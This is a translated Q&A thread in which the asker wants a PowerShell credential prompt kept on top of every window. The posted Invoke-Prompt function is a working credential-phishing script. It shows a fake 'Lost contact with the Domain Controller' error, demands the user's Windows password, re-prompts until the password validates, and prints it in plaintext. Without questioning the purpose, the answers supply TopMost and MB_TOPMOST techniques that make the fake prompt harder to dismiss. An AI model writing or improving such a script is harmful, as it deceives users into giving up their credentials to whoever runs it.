【问题标题】:show creds box on top of every window在每个窗口的顶部显示信用框
【发布时间】:2019-04-29 15:01:36
【问题描述】:

我希望 powershell 中的 creds 框显示在每个窗口的顶部,就像用户在每个窗口上看到这个框一样......

function Invoke-Prompt {
    [CmdletBinding()]
    Param (
        [Switch] $ProcCreateWait,
        [String] $MsgText = 'Lost contact with the Domain Controller.',
        [String] $IconType = 'Information',         # "None", "Critical", "Question", "Exclamation" , "Information" 
        [String] $Title = 'ERROR - 0xA801B720'
    )
    Add-Type -AssemblyName Microsoft.VisualBasic
    Add-Type -assemblyname System.DirectoryServices.AccountManagement
    $DS = New-Object System.DirectoryServices.AccountManagement.PrincipalContext([System.DirectoryServices.AccountManagement.ContextType]::Machine)

    if($MsgText -and $($MsgText -ne '')){
        $null = [Microsoft.VisualBasic.Interaction]::MsgBox($MsgText, "OKOnly,MsgBoxSetForeground,SystemModal,$IconType", $Title)
    }

    $c=[System.Security.Principal.WindowsIdentity]::GetCurrent().name
    $credential = $host.ui.PromptForCredential("Credentials Required", "Please enter your user name and password.", $c, "NetBiosUserName")

    if($credential){
           while($DS.ValidateCredentials($c, $credential.GetNetworkCredential().password) -ne $True){
              $credential = $Host.ui.PromptForCredential("Windows Security", "Invalid Credentials, Please try again", "$env:userdomain\$env:username","")
          }
        "[+] Prompted credentials: -> " + $c + ":" + $credential.GetNetworkCredential().password
    }
    else{
        "[!] User closed credential prompt"
    }
}
Invoke-Prompt

【问题讨论】:

    标签: powershell credentials box


    【解决方案1】:

    你有没有调查过:

    $Credential = Get-Credential 
    

    https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.security/get-credential?view=powershell-6

    有关凭据提示自定义的一些示例,请参阅示例。

    【讨论】:

    • 是的,我确实没有像 System.Windows.Forms 的 topmost 属性这样的东西,这就是我把这个问题放在这里的原因。
    • 首先,你想达到什么目的?这仅适用于您启动的应用程序/脚本()您的脚本将不知道其他应用程序正在运行),尤其是在多显示器设置到位时。如果您的代码确实禁用了所有屏幕上的操作,那么这是一个问题 22。此外,您根本没有使用表单。含义 WInForm/WPF - 您正在使用 MessageBoxes。您的帖子中没有表单类型或表单代码。
    • 我没有使用 system.windows.forms 任何其他可以实现的方式。
    【解决方案2】:

    至于这个……

    没有像 System.Windows.Forms 的 topmost 属性这样的东西

    ...你确定吗,因为下面会反驳...

    Form.TopMost Property

    定义命名空间:System.Windows.Forms

    程序集:System.Windows.Forms.dll

    获取或设置一个值,该值指示是否应显示表单 作为最顶层的形式。

    其他顶级努力的例子:

    PowerShell tricks – Open a dialog as topmost window - 并且确实涵盖了您的,没有 TopMost 评论,但是,这是您正在使用的对话框与 Windows 窗体。好吧,您在这里发布的内容。如果你想要一个 WinForm/WPF,那么你需要使用这些。

    Add-Type -AssemblyName System.Windows.Forms
    Add-Type -AssemblyName PresentationFramework
    

    即使没有内置属性可以将对话框设置为 最顶层的窗口,同样可以使用第二个重载来实现 ShowDialog 方法(MSDN:ShowDialog 方法)。这种重载期望 指示对话框的父窗口的参数。自从 对话框关闭后,所属窗口将不再使用 可以在方法调用中动态创建一个新表单:

    Add-Type -AssemblyName System.Windows.Forms
    
    $FolderBrowser = New-Object System.Windows.Forms.FolderBrowserDialog
    $FolderBrowser.Description = 'Select the folder containing the data'
    
    $result = $FolderBrowser.ShowDialog((New-Object System.Windows.Forms.Form -Property @{TopMost = $true }))
    
    if ($result -eq [Windows.Forms.DialogResult]::OK)
    { $FolderBrowser.SelectedPath }
    else { exit }
    

    或者这个……

    Keep Messagebox.show() on top of other application using c#

    MessageBox.Show("Message Text", "Header", MessageBoxButtons.OK, MessageBoxIcon.None, 
         MessageBoxDefaultButton.Button1, (MessageBoxOptions)0x40000);  // MB_TOPMOST
    The 0x40000 is the "MB_TOPMOST"-Flag.
    
    # Or
    
    MessageBox.Show("Hello there", "Prompt", MessageBoxButtons.OK, MessageBoxIcon.Warning, MessageBoxDefaultButton.Button1, MessageBoxOptions.DefaultDesktopOnly);
    

    C# MessageBox To Front When App is Minimized To Tray

    MessageBox.Show(new Form() { TopMost = true }, "You have not inputted a username or password. Would you like to configure your settings now?",
                     "Settings Needed",
                     MessageBoxButtons.YesNo,
                     MessageBoxIcon.Question);
    

    Force MessageBox to be on top of application window in .net/WPF 接受了 43 票赞成的答案:

    Keep Form on Top of All Other Windows

    嗯,这个是C#,但是由于PowerShell可以使用.Net的所有东西,这仍然值得考虑。

    最后,你为什么说,你所展示的,并没有给你设计的结果?当我测试你在这里所拥有的东西时,它至少可以在我测试过的两个系统上运行。

    【讨论】:

      猜你喜欢
      • 2015-11-20
      • 1970-01-01
      • 2019-12-05
      • 2011-05-25
      • 1970-01-01
      • 1970-01-01
      • 1970-01-01
      • 1970-01-01
      • 1970-01-01
      相关资源
      最近更新 更多